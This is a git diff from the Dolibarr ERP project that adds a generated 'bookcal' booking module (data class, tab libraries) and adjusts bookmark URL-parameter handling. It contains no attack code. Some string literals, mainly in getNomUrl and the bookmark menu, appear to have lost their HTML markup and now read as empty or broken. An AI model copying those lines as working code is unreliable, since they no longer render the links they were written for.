'timestamp'))) { + $sqlwhere[] = $key." = '".$this->db->idate($value)."'"; + } elseif ($key == 'customsql') { + $sqlwhere[] = $value; + } elseif (strpos($value, '%') === false) { + $sqlwhere[] = $key." IN (".$this->db->sanitize($this->db->escape($value)).")"; + } else { + $sqlwhere[] = $key." LIKE '%".$this->db->escape($value)."%'"; + } + } + } + if (count($sqlwhere) > 0) { + $sql .= " AND (".implode(" ".$filtermode." ", $sqlwhere).")"; + } + + if (!empty($sortfield)) { + $sql .= $this->db->order($sortfield, $sortorder); + } + if (!empty($limit)) { + $sql .= $this->db->plimit($limit, $offset); + } + + $resql = $this->db->query($sql); + if ($resql) { + $num = $this->db->num_rows($resql); + $i = 0; + while ($i < ($limit ? min($limit, $num) : $num)) { + $obj = $this->db->fetch_object($resql); + + $record = new self($this->db); + $record->setVarsFromFetchObj($obj); + + $records[$record->id] = $record; + + $i++; + } + $this->db->free($resql); + + return $records; + } else { + $this->errors[] = 'Error '.$this->db->lasterror(); + dol_syslog(__METHOD__.' '.join(',', $this->errors), LOG_ERR); + + return -1; + } + } + + /** + * Update object into database + * + * @param User $user User that modifies + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int <0 if KO, >0 if OK + */ + public function update(User $user, $notrigger = false) + { + return $this->updateCommon($user, $notrigger); + } + + /** + * Delete object in database + * + * @param User $user User that deletes + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int <0 if KO, >0 if OK + */ + public function delete(User $user, $notrigger = false) + { + return $this->deleteCommon($user, $notrigger); + //return $this->deleteCommon($user, $notrigger, 1); + } + + /** + * Delete a line of object in database + * + * @param User $user User that delete + * @param int $idline Id of line to delete + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int >0 if OK, <0 if KO + */ + public function deleteLine(User $user, $idline, $notrigger = false) + { + if ($this->status < 0) { + $this->error = 'ErrorDeleteLineNotAllowedByObjectStatus'; + return -2; + } + + return $this->deleteLineCommon($user, $idline, $notrigger); + } + + + /** + * Validate object + * + * @param User $user User making status change + * @param int $notrigger 1=Does not execute triggers, 0= execute triggers + * @return int <=0 if OK, 0=Nothing done, >0 if KO + */ + public function validate($user, $notrigger = 0) + { + global $conf, $langs; + + require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + + $error = 0; + + // Protection + if ($this->status == self::STATUS_VALIDATED) { + dol_syslog(get_class($this)."::validate action abandonned: already validated", LOG_WARNING); + return 0; + } + + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->booking->write)) + || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->booking->booking_advance->validate)))) + { + $this->error='NotEnoughPermissions'; + dol_syslog(get_class($this)."::valid ".$this->error, LOG_ERR); + return -1; + }*/ + + $now = dol_now(); + + $this->db->begin(); + + // Define new ref + if (!$error && (preg_match('/^[\(]?PROV/i', $this->ref) || empty($this->ref))) { // empty should not happened, but when it occurs, the test save life + $num = $this->getNextNumRef(); + } else { + $num = $this->ref; + } + $this->newref = $num; + + if (!empty($num)) { + // Validate + $sql = "UPDATE ".MAIN_DB_PREFIX.$this->table_element; + $sql .= " SET ref = '".$this->db->escape($num)."',"; + $sql .= " status = ".self::STATUS_VALIDATED; + if (!empty($this->fields['date_validation'])) { + $sql .= ", date_validation = '".$this->db->idate($now)."'"; + } + if (!empty($this->fields['fk_user_valid'])) { + $sql .= ", fk_user_valid = ".((int) $user->id); + } + $sql .= " WHERE rowid = ".((int) $this->id); + + dol_syslog(get_class($this)."::validate()", LOG_DEBUG); + $resql = $this->db->query($sql); + if (!$resql) { + dol_print_error($this->db); + $this->error = $this->db->lasterror(); + $error++; + } + + if (!$error && !$notrigger) { + // Call trigger + $result = $this->call_trigger('BOOKING_VALIDATE', $user); + if ($result < 0) { + $error++; + } + // End call triggers + } + } + + if (!$error) { + $this->oldref = $this->ref; + + // Rename directory if dir was a temporary ref + if (preg_match('/^[\(]?PROV/i', $this->ref)) { + // Now we rename also files into index + $sql = 'UPDATE '.MAIN_DB_PREFIX."ecm_files set filename = CONCAT('".$this->db->escape($this->newref)."', SUBSTR(filename, ".(strlen($this->ref) + 1).")), filepath = 'booking/".$this->db->escape($this->newref)."'"; + $sql .= " WHERE filename LIKE '".$this->db->escape($this->ref)."%' AND filepath = 'booking/".$this->db->escape($this->ref)."' and entity = ".$conf->entity; + $resql = $this->db->query($sql); + if (!$resql) { + $error++; $this->error = $this->db->lasterror(); + } + + // We rename directory ($this->ref = old ref, $num = new ref) in order not to lose the attachments + $oldref = dol_sanitizeFileName($this->ref); + $newref = dol_sanitizeFileName($num); + $dirsource = $conf->bookcal->dir_output.'/booking/'.$oldref; + $dirdest = $conf->bookcal->dir_output.'/booking/'.$newref; + if (!$error && file_exists($dirsource)) { + dol_syslog(get_class($this)."::validate() rename dir ".$dirsource." into ".$dirdest); + + if (@rename($dirsource, $dirdest)) { + dol_syslog("Rename ok"); + // Rename docs starting with $oldref with $newref + $listoffiles = dol_dir_list($conf->bookcal->dir_output.'/booking/'.$newref, 'files', 1, '^'.preg_quote($oldref, '/')); + foreach ($listoffiles as $fileentry) { + $dirsource = $fileentry['name']; + $dirdest = preg_replace('/^'.preg_quote($oldref, '/').'/', $newref, $dirsource); + $dirsource = $fileentry['path'].'/'.$dirsource; + $dirdest = $fileentry['path'].'/'.$dirdest; + @rename($dirsource, $dirdest); + } + } + } + } + } + + // Set new ref and current status + if (!$error) { + $this->ref = $num; + $this->status = self::STATUS_VALIDATED; + } + + if (!$error) { + $this->db->commit(); + return 1; + } else { + $this->db->rollback(); + return -1; + } + } + + + /** + * Set draft status + * + * @param User $user Object user that modify + * @param int $notrigger 1=Does not execute triggers, 0=Execute triggers + * @return int <0 if KO, >0 if OK + */ + public function setDraft($user, $notrigger = 0) + { + // Protection + if ($this->status <= self::STATUS_DRAFT) { + return 0; + } + + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->write)) + || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->bookcal_advance->validate)))) + { + $this->error='Permission denied'; + return -1; + }*/ + + return $this->setStatusCommon($user, self::STATUS_DRAFT, $notrigger, 'BOOKING_UNVALIDATE'); + } + + /** + * Set cancel status + * + * @param User $user Object user that modify + * @param int $notrigger 1=Does not execute triggers, 0=Execute triggers + * @return int <0 if KO, 0=Nothing done, >0 if OK + */ + public function cancel($user, $notrigger = 0) + { + // Protection + if ($this->status != self::STATUS_VALIDATED) { + return 0; + } + + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->write)) + || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->bookcal_advance->validate)))) + { + $this->error='Permission denied'; + return -1; + }*/ + + return $this->setStatusCommon($user, self::STATUS_CANCELED, $notrigger, 'BOOKING_CANCEL'); + } + + /** + * Set back to validated status + * + * @param User $user Object user that modify + * @param int $notrigger 1=Does not execute triggers, 0=Execute triggers + * @return int <0 if KO, 0=Nothing done, >0 if OK + */ + public function reopen($user, $notrigger = 0) + { + // Protection + if ($this->status != self::STATUS_CANCELED) { + return 0; + } + + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->write)) + || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->bookcal_advance->validate)))) + { + $this->error='Permission denied'; + return -1; + }*/ + + return $this->setStatusCommon($user, self::STATUS_VALIDATED, $notrigger, 'BOOKING_REOPEN'); + } + + /** + * Return a link to the object card (with optionaly the picto) + * + * @param int $withpicto Include picto in link (0=No picto, 1=Include picto into link, 2=Only picto) + * @param string $option On what the link point to ('nolink', ...) + * @param int $notooltip 1=Disable tooltip + * @param string $morecss Add more css on link + * @param int $save_lastsearch_value -1=Auto, 0=No save of lastsearch_values when clicking, 1=Save lastsearch_values whenclicking + * @return string String with URL + */ + public function getNomUrl($withpicto = 0, $option = '', $notooltip = 0, $morecss = '', $save_lastsearch_value = -1) + { + global $conf, $langs, $hookmanager; + + if (!empty($conf->dol_no_mouse_hover)) { + $notooltip = 1; // Force disable tooltips + } + + $result = ''; + + $label = img_picto('', $this->picto).' '.$langs->trans("Booking").''; + if (isset($this->status)) { + $label .= ' '.$this->getLibStatut(5); + } + $label .= '
      '; + $label .= ''.$langs->trans('Ref').': '.$this->ref; + + $url = dol_buildpath('/bookcal/booking_card.php', 1).'?id='.$this->id; + + if ($option != 'nolink') { + // Add param to save lastsearch_values or not + $add_save_lastsearch_values = ($save_lastsearch_value == 1 ? 1 : 0); + if ($save_lastsearch_value == -1 && preg_match('/list\.php/', $_SERVER["PHP_SELF"])) { + $add_save_lastsearch_values = 1; + } + if ($url && $add_save_lastsearch_values) { + $url .= '&save_lastsearch_values=1'; + } + } + + $linkclose = ''; + if (empty($notooltip)) { + if (!empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { + $label = $langs->trans("ShowBooking"); + $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; + } + $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; + $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + } else { + $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); + } + + if ($option == 'nolink' || empty($url)) { + $linkstart = ''; + if ($option == 'nolink' || empty($url)) { + $linkend = ''; + } else { + $linkend = ''; + } + + $result .= $linkstart; + + if (empty($this->showphoto_on_popup)) { + if ($withpicto) { + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + } + } else { + if ($withpicto) { + require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + + list($class, $module) = explode('@', $this->picto); + $upload_dir = $conf->$module->multidir_output[$conf->entity]."/$class/".dol_sanitizeFileName($this->ref); + $filearray = dol_dir_list($upload_dir, "files"); + $filename = $filearray[0]['name']; + if (!empty($filename)) { + $pospoint = strpos($filearray[0]['name'], '.'); + + $pathtophoto = $class.'/'.$this->ref.'/thumbs/'.substr($filename, 0, $pospoint).'_mini'.substr($filename, $pospoint); + if (empty($conf->global->{strtoupper($module.'_'.$class).'_FORMATLISTPHOTOSASUSERS'})) { + $result .= '
      No photo
      '; + } else { + $result .= '
      No photo
      '; + } + + $result .= '
      '; + } else { + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + } + } + } + + if ($withpicto != 2) { + $result .= $this->ref; + } + + $result .= $linkend; + //if ($withpicto != 2) $result.=(($addlabel && $this->label) ? $sep . dol_trunc($this->label, ($addlabel > 1 ? $addlabel : 0)) : ''); + + global $action, $hookmanager; + $hookmanager->initHooks(array('bookingdao')); + $parameters = array('id'=>$this->id, 'getnomurl' => &$result); + $reshook = $hookmanager->executeHooks('getNomUrl', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook > 0) { + $result = $hookmanager->resPrint; + } else { + $result .= $hookmanager->resPrint; + } + + return $result; + } + + /** + * Return the label of the status + * + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label of status + */ + public function getLabelStatus($mode = 0) + { + return $this->LibStatut($this->status, $mode); + } + + /** + * Return the label of the status + * + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label of status + */ + public function getLibStatut($mode = 0) + { + return $this->LibStatut($this->status, $mode); + } + + // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** + * Return the status + * + * @param int $status Id status + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label of status + */ + public function LibStatut($status, $mode = 0) + { + // phpcs:enable + if (empty($this->labelStatus) || empty($this->labelStatusShort)) { + global $langs; + //$langs->load("agenda"); + $this->labelStatus[self::STATUS_DRAFT] = $langs->transnoentitiesnoconv('Draft'); + $this->labelStatus[self::STATUS_VALIDATED] = $langs->transnoentitiesnoconv('Enabled'); + $this->labelStatus[self::STATUS_CANCELED] = $langs->transnoentitiesnoconv('Disabled'); + $this->labelStatusShort[self::STATUS_DRAFT] = $langs->transnoentitiesnoconv('Draft'); + $this->labelStatusShort[self::STATUS_VALIDATED] = $langs->transnoentitiesnoconv('Enabled'); + $this->labelStatusShort[self::STATUS_CANCELED] = $langs->transnoentitiesnoconv('Disabled'); + } + + $statusType = 'status'.$status; + //if ($status == self::STATUS_VALIDATED) $statusType = 'status1'; + if ($status == self::STATUS_CANCELED) { + $statusType = 'status6'; + } + + return dolGetStatus($this->labelStatus[$status], $this->labelStatusShort[$status], '', $statusType, $mode); + } + + /** + * Load the info information in the object + * + * @param int $id Id of object + * @return void + */ + public function info($id) + { + $sql = "SELECT rowid,"; + $sql .= " date_creation as datec, tms as datem,"; + $sql .= " fk_user_creat, fk_user_modif"; + $sql .= " FROM ".MAIN_DB_PREFIX.$this->table_element." as t"; + $sql .= " WHERE t.rowid = ".((int) $id); + + $result = $this->db->query($sql); + if ($result) { + if ($this->db->num_rows($result)) { + $obj = $this->db->fetch_object($result); + + $this->id = $obj->rowid; + + $this->user_creation_id = $obj->fk_user_creat; + $this->user_modification_id = $obj->fk_user_modif; + if (!empty($obj->fk_user_valid)) { + $this->user_validation_id = $obj->fk_user_valid; + } + $this->date_creation = $this->db->jdate($obj->datec); + $this->date_modification = empty($obj->datem) ? '' : $this->db->jdate($obj->datem); + if (!empty($obj->datev)) { + $this->date_validation = empty($obj->datev) ? '' : $this->db->jdate($obj->datev); + } + } + + $this->db->free($result); + } else { + dol_print_error($this->db); + } + } + + /** + * Initialise object with example values + * Id must be 0 if object instance is a specimen + * + * @return void + */ + public function initAsSpecimen() + { + // Set here init that are not commonf fields + // $this->property1 = ... + // $this->property2 = ... + + $this->initAsSpecimenCommon(); + } + + /** + * Create an array of lines + * + * @return array|int array of lines if OK, <0 if KO + */ + public function getLinesArray() + { + $this->lines = array(); + + $objectline = new BookingLine($this->db); + $result = $objectline->fetchAll('ASC', 'position', 0, 0, array('customsql'=>'fk_booking = '.((int) $this->id))); + + if (is_numeric($result)) { + $this->error = $objectline->error; + $this->errors = $objectline->errors; + return $result; + } else { + $this->lines = $result; + return $this->lines; + } + } + + /** + * Returns the reference to the following non used object depending on the active numbering module. + * + * @return string Object free reference + */ + public function getNextNumRef() + { + global $langs, $conf; + $langs->load("agenda"); + + if (empty($conf->global->BOOKCAL_BOOKING_ADDON)) { + $conf->global->BOOKCAL_BOOKING_ADDON = 'mod_booking_standard'; + } + + if (!empty($conf->global->BOOKCAL_BOOKING_ADDON)) { + $mybool = false; + + $file = $conf->global->BOOKCAL_BOOKING_ADDON.".php"; + $classname = $conf->global->BOOKCAL_BOOKING_ADDON; + + // Include file with class + $dirmodels = array_merge(array('/'), (array) $conf->modules_parts['models']); + foreach ($dirmodels as $reldir) { + $dir = dol_buildpath($reldir."core/modules/bookcal/"); + + // Load file with numbering class (if found) + $mybool |= @include_once $dir.$file; + } + + if ($mybool === false) { + dol_print_error('', "Failed to include file ".$file); + return ''; + } + + if (class_exists($classname)) { + $obj = new $classname(); + $numref = $obj->getNextValue($this); + + if ($numref != '' && $numref != '-1') { + return $numref; + } else { + $this->error = $obj->error; + //dol_print_error($this->db,get_class($this)."::getNextNumRef ".$obj->error); + return ""; + } + } else { + print $langs->trans("Error")." ".$langs->trans("ClassNotFound").' '.$classname; + return ""; + } + } else { + print $langs->trans("ErrorNumberingModuleNotSetup", $this->element); + return ""; + } + } + + /** + * Create a document onto disk according to template module. + * + * @param string $modele Force template to use ('' to not force) + * @param Translate $outputlangs objet lang a utiliser pour traduction + * @param int $hidedetails Hide details of lines + * @param int $hidedesc Hide description + * @param int $hideref Hide ref + * @param null|array $moreparams Array to provide more information + * @return int 0 if KO, 1 if OK + */ + public function generateDocument($modele, $outputlangs, $hidedetails = 0, $hidedesc = 0, $hideref = 0, $moreparams = null) + { + global $conf, $langs; + + $result = 0; + $includedocgeneration = 0; + + $langs->load("agenda"); + + if (!dol_strlen($modele)) { + $modele = 'standard_booking'; + + if (!empty($this->model_pdf)) { + $modele = $this->model_pdf; + } elseif (!empty($conf->global->BOOKING_ADDON_PDF)) { + $modele = $conf->global->BOOKING_ADDON_PDF; + } + } + + $modelpath = "core/modules/bookcal/doc/"; + + if ($includedocgeneration && !empty($modele)) { + $result = $this->commonGenerateDocument($modelpath, $modele, $outputlangs, $hidedetails, $hidedesc, $hideref, $moreparams); + } + + return $result; + } + + /** + * Action executed by scheduler + * CAN BE A CRON TASK. In such a case, parameters come from the schedule job setup field 'Parameters' + * Use public function doScheduledJob($param1, $param2, ...) to get parameters + * + * @return int 0 if OK, <>0 if KO (this function is used also by cron so only 0 is OK) + */ + public function doScheduledJob() + { + global $conf, $langs; + + //$conf->global->SYSLOG_FILE = 'DOL_DATA_ROOT/dolibarr_mydedicatedlofile.log'; + + $error = 0; + $this->output = ''; + $this->error = ''; + + dol_syslog(__METHOD__, LOG_DEBUG); + + $now = dol_now(); + + $this->db->begin(); + + // ... + + $this->db->commit(); + + return $error; + } +} + + +require_once DOL_DOCUMENT_ROOT.'/core/class/commonobjectline.class.php'; + +/** + * Class BookingLine. You can also remove this and generate a CRUD class for lines objects. + */ +class BookingLine extends CommonObjectLine +{ + // To complete with content of an object BookingLine + // We should have a field rowid, fk_booking and position + + /** + * @var int Does object support extrafields ? 0=No, 1=Yes + */ + public $isextrafieldmanaged = 0; + + /** + * Constructor + * + * @param DoliDb $db Database handler + */ + public function __construct(DoliDB $db) + { + $this->db = $db; + } +} diff --git a/htdocs/bookcal/lib/bookcal.lib.php b/htdocs/bookcal/lib/bookcal.lib.php new file mode 100644 index 00000000000..3f809da08d8 --- /dev/null +++ b/htdocs/bookcal/lib/bookcal.lib.php @@ -0,0 +1,63 @@ + + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file bookcal/lib/bookcal.lib.php + * \ingroup bookcal + * \brief Library files with common functions for BookCal + */ + +/** + * Prepare admin pages header + * + * @return array + */ +function bookcalAdminPrepareHead() +{ + global $langs, $conf; + + $langs->load("agenda"); + + $h = 0; + $head = array(); + + $head[$h][0] = dol_buildpath("/bookcal/admin/setup.php", 1); + $head[$h][1] = $langs->trans("Settings"); + $head[$h][2] = 'settings'; + $h++; + + /* + $head[$h][0] = dol_buildpath("/bookcal/admin/myobject_extrafields.php", 1); + $head[$h][1] = $langs->trans("ExtraFields"); + $head[$h][2] = 'myobject_extrafields'; + $h++; + */ + + // Show more tabs from modules + // Entries must be declared in modules descriptor with line + //$this->tabs = array( + // 'entity:+tabname:Title:@bookcal:/bookcal/mypage.php?id=__ID__' + //); // to add new tab + //$this->tabs = array( + // 'entity:-tabname:Title:@bookcal:/bookcal/mypage.php?id=__ID__' + //); // to remove a tab + complete_head_from_modules($conf, $langs, null, $head, $h, 'bookcal@bookcal'); + + complete_head_from_modules($conf, $langs, null, $head, $h, 'bookcal@bookcal', 'remove'); + + return $head; +} diff --git a/htdocs/bookcal/lib/bookcal_availabilities.lib.php b/htdocs/bookcal/lib/bookcal_availabilities.lib.php new file mode 100644 index 00000000000..1fb4b2aed75 --- /dev/null +++ b/htdocs/bookcal/lib/bookcal_availabilities.lib.php @@ -0,0 +1,110 @@ + + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file lib/bookcal_availabilities.lib.php + * \ingroup bookcal + * \brief Library files with common functions for Availabilities + */ + +/** + * Prepare array of tabs for Availabilities + * + * @param Availabilities $object Availabilities + * @return array Array of tabs + */ +function availabilitiesPrepareHead($object) +{ + global $db, $langs, $conf; + + $langs->load("agenda"); + + $showtabofpagecontact = 1; + $showtabofpagenote = 1; + $showtabofpagedocument = 1; + $showtabofpageagenda = 1; + + $h = 0; + $head = array(); + + $head[$h][0] = dol_buildpath("/bookcal/availabilities_card.php", 1).'?id='.$object->id; + $head[$h][1] = $langs->trans("Card"); + $head[$h][2] = 'card'; + $h++; + + if ($showtabofpagecontact) { + $head[$h][0] = dol_buildpath("/bookcal/availabilities_contact.php", 1).'?id='.$object->id; + $head[$h][1] = $langs->trans("Contacts"); + $head[$h][2] = 'contact'; + $h++; + } + + if ($showtabofpagenote) { + if (isset($object->fields['note_public']) || isset($object->fields['note_private'])) { + $nbNote = 0; + if (!empty($object->note_private)) { + $nbNote++; + } + if (!empty($object->note_public)) { + $nbNote++; + } + $head[$h][0] = dol_buildpath('/bookcal/availabilities_note.php', 1).'?id='.$object->id; + $head[$h][1] = $langs->trans('Notes'); + if ($nbNote > 0) { + $head[$h][1] .= (empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER) ? ''.$nbNote.'' : ''); + } + $head[$h][2] = 'note'; + $h++; + } + } + + if ($showtabofpagedocument) { + require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + require_once DOL_DOCUMENT_ROOT.'/core/class/link.class.php'; + $upload_dir = $conf->bookcal->dir_output."/availabilities/".dol_sanitizeFileName($object->ref); + $nbFiles = count(dol_dir_list($upload_dir, 'files', 0, '', '(\.meta|_preview.*\.png)$')); + $nbLinks = Link::count($db, $object->element, $object->id); + $head[$h][0] = dol_buildpath("/bookcal/availabilities_document.php", 1).'?id='.$object->id; + $head[$h][1] = $langs->trans('Documents'); + if (($nbFiles + $nbLinks) > 0) { + $head[$h][1] .= ''.($nbFiles + $nbLinks).''; + } + $head[$h][2] = 'document'; + $h++; + } + + if ($showtabofpageagenda) { + $head[$h][0] = dol_buildpath("/bookcal/availabilities_agenda.php", 1).'?id='.$object->id; + $head[$h][1] = $langs->trans("Events"); + $head[$h][2] = 'agenda'; + $h++; + } + + // Show more tabs from modules + // Entries must be declared in modules descriptor with line + //$this->tabs = array( + // 'entity:+tabname:Title:@bookcal:/bookcal/mypage.php?id=__ID__' + //); // to add new tab + //$this->tabs = array( + // 'entity:-tabname:Title:@bookcal:/bookcal/mypage.php?id=__ID__' + //); // to remove a tab + complete_head_from_modules($conf, $langs, $object, $head, $h, 'availabilities@bookcal'); + + complete_head_from_modules($conf, $langs, $object, $head, $h, 'availabilities@bookcal', 'remove'); + + return $head; +} diff --git a/htdocs/bookcal/lib/bookcal_booking.lib.php b/htdocs/bookcal/lib/bookcal_booking.lib.php new file mode 100644 index 00000000000..c0dec7d6d2e --- /dev/null +++ b/htdocs/bookcal/lib/bookcal_booking.lib.php @@ -0,0 +1,110 @@ + + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file lib/bookcal_booking.lib.php + * \ingroup bookcal + * \brief Library files with common functions for Booking + */ + +/** + * Prepare array of tabs for Booking + * + * @param Booking $object Booking + * @return array Array of tabs + */ +function bookingPrepareHead($object) +{ + global $db, $langs, $conf; + + $langs->load("agenda"); + + $showtabofpagecontact = 1; + $showtabofpagenote = 1; + $showtabofpagedocument = 1; + $showtabofpageagenda = 1; + + $h = 0; + $head = array(); + + $head[$h][0] = dol_buildpath("/bookcal/booking_card.php", 1).'?id='.$object->id; + $head[$h][1] = $langs->trans("Card"); + $head[$h][2] = 'card'; + $h++; + + if ($showtabofpagecontact) { + $head[$h][0] = dol_buildpath("/bookcal/booking_contact.php", 1).'?id='.$object->id; + $head[$h][1] = $langs->trans("Contacts"); + $head[$h][2] = 'contact'; + $h++; + } + + if ($showtabofpagenote) { + if (isset($object->fields['note_public']) || isset($object->fields['note_private'])) { + $nbNote = 0; + if (!empty($object->note_private)) { + $nbNote++; + } + if (!empty($object->note_public)) { + $nbNote++; + } + $head[$h][0] = dol_buildpath('/bookcal/booking_note.php', 1).'?id='.$object->id; + $head[$h][1] = $langs->trans('Notes'); + if ($nbNote > 0) { + $head[$h][1] .= (empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER) ? ''.$nbNote.'' : ''); + } + $head[$h][2] = 'note'; + $h++; + } + } + + if ($showtabofpagedocument) { + require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + require_once DOL_DOCUMENT_ROOT.'/core/class/link.class.php'; + $upload_dir = $conf->bookcal->dir_output."/booking/".dol_sanitizeFileName($object->ref); + $nbFiles = count(dol_dir_list($upload_dir, 'files', 0, '', '(\.meta|_preview.*\.png)$')); + $nbLinks = Link::count($db, $object->element, $object->id); + $head[$h][0] = dol_buildpath("/bookcal/booking_document.php", 1).'?id='.$object->id; + $head[$h][1] = $langs->trans('Documents'); + if (($nbFiles + $nbLinks) > 0) { + $head[$h][1] .= ''.($nbFiles + $nbLinks).''; + } + $head[$h][2] = 'document'; + $h++; + } + + if ($showtabofpageagenda) { + $head[$h][0] = dol_buildpath("/bookcal/booking_agenda.php", 1).'?id='.$object->id; + $head[$h][1] = $langs->trans("Events"); + $head[$h][2] = 'agenda'; + $h++; + } + + // Show more tabs from modules + // Entries must be declared in modules descriptor with line + //$this->tabs = array( + // 'entity:+tabname:Title:@bookcal:/bookcal/mypage.php?id=__ID__' + //); // to add new tab + //$this->tabs = array( + // 'entity:-tabname:Title:@bookcal:/bookcal/mypage.php?id=__ID__' + //); // to remove a tab + complete_head_from_modules($conf, $langs, $object, $head, $h, 'booking@bookcal'); + + complete_head_from_modules($conf, $langs, $object, $head, $h, 'booking@bookcal', 'remove'); + + return $head; +} diff --git a/htdocs/bookcal/modulebuilder.txt b/htdocs/bookcal/modulebuilder.txt new file mode 100644 index 00000000000..670a1774929 --- /dev/null +++ b/htdocs/bookcal/modulebuilder.txt @@ -0,0 +1,3 @@ +# DO NOT DELETE THIS FILE MANUALLY +# File to flag module built using official module template. +# When this file is present into a module directory, you can edit it with the module builder tool. \ No newline at end of file diff --git a/htdocs/bookmarks/bookmarks.lib.php b/htdocs/bookmarks/bookmarks.lib.php index d5258ba26f1..b0f32910498 100644 --- a/htdocs/bookmarks/bookmarks.lib.php +++ b/htdocs/bookmarks/bookmarks.lib.php @@ -38,7 +38,7 @@ function printDropdownBookmarksList() $authorized_var=array('limit','optioncss','contextpage'); $url = $_SERVER["PHP_SELF"]; - $url_param=array(); + $url_param = array(); if (!empty($_SERVER["QUERY_STRING"])) { if (is_array($_GET)) { foreach ($_GET as $key => $val) { @@ -52,6 +52,7 @@ function printDropdownBookmarksList() } } } + $tmpurl = ''; // No urlencode, all param $url will be urlencoded later if ($sortfield) { @@ -65,14 +66,20 @@ function printDropdownBookmarksList() if ((preg_match('/^search_/', $key) || in_array($key, $authorized_var)) && $val != '' && !array_key_exists($key, $url_param)) { - $url_param[$key] = http_build_query(array(dol_escape_htmltag($key) => dol_escape_htmltag($val))); + if (is_array($val)) { + foreach ($val as $tmpsubval) { + $url_param[] = http_build_query(array(dol_escape_htmltag($key).'[]' => dol_escape_htmltag($tmpsubval))); + } + } elseif ($val != '') { + $url_param[$key] = http_build_query(array(dol_escape_htmltag($key) => dol_escape_htmltag($val))); + } } } } $url .= ($tmpurl ? '?'.$tmpurl : ''); if (!empty($url_param)) { - $url .= '&'.implode('&', $url_param); + $url .= (strpos($url, '?') > 0 ? '&' : '?').implode('&', $url_param); } $searchForm = ''."\n"; @@ -95,6 +102,7 @@ function printDropdownBookmarksList() $listbtn .= img_picto('', 'edit', 'class="paddingright opacitymedium"').$langs->trans('EditBookmarks').''; $bookmarkList = ''; + $bookmarkNb = 0; // Menu with list of bookmarks $sql = "SELECT rowid, title, url, target FROM ".MAIN_DB_PREFIX."bookmark"; $sql .= " WHERE (fk_user = ".((int) $user->id)." OR fk_user is NULL OR fk_user = 0)"; @@ -109,6 +117,7 @@ function printDropdownBookmarksList() $bookmarkList .= dol_escape_htmltag($obj->title); $bookmarkList .= ''; $i++; + $bookmarkNb++; } $bookmarkList .= '
